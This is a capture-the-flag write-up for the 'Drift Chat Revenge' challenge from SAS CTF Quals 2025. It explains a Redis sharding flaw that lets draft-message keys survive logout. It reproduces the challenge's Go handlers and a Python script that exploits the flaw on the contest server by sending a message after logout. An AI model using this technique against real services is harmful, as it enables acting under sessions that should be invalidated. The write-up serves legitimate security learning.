| Event Name | SAS CTF Quals 2025 |
|---|---|
| GitHub URL | - |
| Challenge Name | Drift Chat Revenge |
| Solves | 11 |
redis.Ring does not check what shards you access. redis.Del on several keys will execute only on the shard of the first key, which can lead to an inconsistent state where some keys exist for a deleted session.
Vulnerability: When /logout is called, the app executes redis.Del on several keys, but it only executes on the shard of the first key.
Exploit Chain:
Draft Handler:
package service
import (
"editor/internal/redis"
"fmt"
"log/slog"
"time"
"github.com/gin-gonic/gin"
)
type setDraftReq struct {
Chat string `json:"chat"`
Draft string `json:"draft"`
}
type setDraftResp struct{}
func (s *Service) SetDraft(c *gin.Context) {
ctx := c.Request.Context()
req := setDraftReq{}
if err := c.BindJSON(&req); err != nil {
slog.Error("parse", "err", err)
c.AbortWithStatus(532)
return
}
tok := c.Request.CookiesNamed(tokenCookie)
if len(tok) != 1 {
c.AbortWithStatus(403)
return
}
token := tok[0].Value
st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
username := st.Val()
if username == "" {
c.AbortWithStatus(403)
return
}
s.red.Set(ctx, fmt.Sprintf(redis.Online, username), "1", 10*time.Second)
if req.Draft == "" {
res := s.red.Del(ctx, fmt.Sprintf(redis.DraftMessage, token),
fmt.Sprintf(redis.WrittenNow, token))
if res.Err() != nil {
c.AbortWithStatus(500)
return
}
c.JSON(200, setDraftResp{})
return
}
pipe := s.red.TxPipeline()
pipe.SAdd(ctx, fmt.Sprintf(redis.ChatWriteList, req.Chat), token)
pipe.Set(ctx, fmt.Sprintf(redis.DraftMessage, token), req.Draft, 0)
pipe.Set(ctx, fmt.Sprintf(redis.WrittenNow, token), req.Chat, 0)
_, err := pipe.Exec(ctx)
if err != nil {
c.AbortWithStatus(500)
c.Error(err)
return
}
c.JSON(200, setDraftResp{})
}
SendMessage Handler:
package service
import (
"editor/internal/redis"
"editor/internal/repository/chat"
"fmt"
"log/slog"
"github.com/gin-gonic/gin"
)
type sendMessageReq struct {
Chat string `json:"chat"`
}
func (s *Service) SendMessage(c *gin.Context) {
ctx := c.Request.Context()
req := sendMessageReq{}
if err := c.BindJSON(&req); err != nil {
slog.Error("parse", "err", err)
c.AbortWithStatus(532)
return
}
chatName := req.Chat
tok := c.Request.CookiesNamed(tokenCookie)
if len(tok) != 1 {
c.AbortWithStatus(403)
return
}
token := tok[0].Value
st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
username := st.Val()
st = s.red.Get(ctx, fmt.Sprintf(redis.DraftMessage, token))
if st.Err() != nil {
c.AbortWithStatus(401)
c.Error(fmt.Errorf("no draft message %s", st.Err()))
return
}
msg := st.Val()
st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
if st.Err() != nil {
c.AbortWithStatus(402)
c.Error(fmt.Errorf("no written now %s", st.Err()))
return
}
writtenNow := st.Val()
if writtenNow != chatName {
c.AbortWithStatus(403)
c.Error(fmt.Errorf("written now is wrong %s", st.Err()))
return
}
messages, err := s.chat.GetMessages(ctx, chatName)
if err != nil {
c.AbortWithStatus(404)
c.Error(fmt.Errorf("no messages %s", st.Err()))
return
}
ok, _ := s.check_is_allowed(ctx, username, chatName)
if !ok {
c.AbortWithStatus(405)
return
}
err = s.chat.SendMessage(ctx, chatName, chat.Message{
Author: username,
Content: msg,
})
if err != nil {
c.AbortWithStatus(406)
c.Error(fmt.Errorf("failed to send %s", st.Err()))
return
}
cmd := s.red.Del(ctx,
fmt.Sprintf(redis.WrittenNow, token),
fmt.Sprintf(redis.DraftMessage, token))
if cmd.Err() != nil {
c.AbortWithStatus(407)
c.Error(fmt.Errorf("del %s", cmd.Err()))
return
}
c.JSON(200, getChatResp{Messages: messages})
}
import httpx
URL = "<https://drift-chat-revenge.task.sasc.tf>"
# URL = "https://drift_chat.task.sasc.tf/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url, verify=False)
def api_login(self, login, password):
return self.c.post("/api/login", json={
"login": login,
"password": password,
})
def api_chat_create(self, name, allowed_users):
return self.c.post("/api/chat/create", json={
"name": name,
"allowed_users": allowed_users,
})
def api_chat_get(self, chat):
return self.c.post("/api/chat/get", json={
"chat": chat,
})
def api_register(self, password, login):
return self.c.post("/api/register", json={
"login": login,
"password": password,
})
def api_set_draft(self, chat, draft):
return self.c.post("/api/set_draft", json={
"chat": chat,
"draft": draft,
})
def api_chat_get_drafts(self, chat):
return self.c.post("/api/chat/get_drafts", json={
"chat": chat,
})
def api_send_message(self, chat):
return self.c.post("/api/send_message", json={
"chat": chat,
})
def api_logout(self):
return self.c.post("/api/logout")
class API(BaseAPI):
...
if __name__ == "__main__":
api = API()
for i in range(10):
creds = ["dajiwqoprnfqiowpnroiqwweodinqnnoiqwjmdioqws", "dajiwqoprnfqiowpnroiqwweodinqnnoiqwjmdioqws"]
res = api.api_register(login=creds[0], password=creds[1])
print(res.text, res.status_code)
res = api.api_login(login=creds[0], password=creds[1])
res = api.api_set_draft("best chat eva", "foo")
print(res.text, res.status_code)
res = api.api_logout()
print(res.text, res.status_code)
print(api.c.cookies)
res = api.api_send_message("best chat eva")
print(res.text, res.status_code)